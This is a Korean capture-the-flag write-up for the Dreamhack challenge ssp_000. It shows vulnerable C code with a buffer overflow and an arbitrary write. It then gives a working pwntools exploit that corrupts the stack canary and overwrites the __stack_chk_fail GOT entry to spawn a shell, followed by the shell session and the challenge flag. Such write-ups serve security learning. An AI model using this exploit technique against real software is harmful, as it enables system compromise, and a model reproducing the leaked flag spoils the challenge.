#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
kali@kali ~/wargame/dreamhack/ssp_000 checksec ssp_000
[*] '/home/kali/wargame/dreamhack/ssp_000/ssp_000'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
카나리 보호 기법이 걸려있는데, 코드를 보면 카나리 릭을 할 수가 없어서 다른 방법을 사용해야 할거 같습니다.
임의 쓰기 취약점이 존재하기 때문에, 일부러 카나리를 변조해서 __stack_chk_fail 함수가 실행되게 하고 __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite를 하면 쉘을 띄울 수 있을거 같습니다.
1. Canary 값 변조
2. __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite
3. __stack_chk_fail 함수가 실행되면 쉘 흭득
익스플로잇 코드를 짤 때 주의할 점이 A의 갯수를 카나리 값을 변조할 만큼만 줘야 합니다.
A의 갯수를 너무 많이 주면 SIGSEGV 오류만 발생하고 쉘이 뜨지 않습니다.
from pwn import *
p = remote("host3.dreamhack.games", 14941)
e = ELF("./ssp_000")
#context.log_level = 'debug'
get_shell = e.symbols['get_shell']
stack_chk_fail_got = e.got['__stack_chk_fail']
payload = b'A' * 0x50
p.sendline(payload)
print("[+] stack_chk_fail: ", hex(stack_chk_fail_got))
p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))
p.interactive()
kali@kali ~/wargame/dreamhack/ssp_000 python3 remote.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 14941: Done
[*] '/home/kali/wargame/dreamhack/ssp_000/ssp_000'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] stack_chk_fail: 0x601020
[*] Switching to interactive mode
$ ls
flag
ssp_000
익스플로잇 코드를 실행시켜보면 쉘이 뜹니다.
플래그를 출력해보면
$ cat flag
DH{e4d253b82911565ad8dd9625fb491ab0}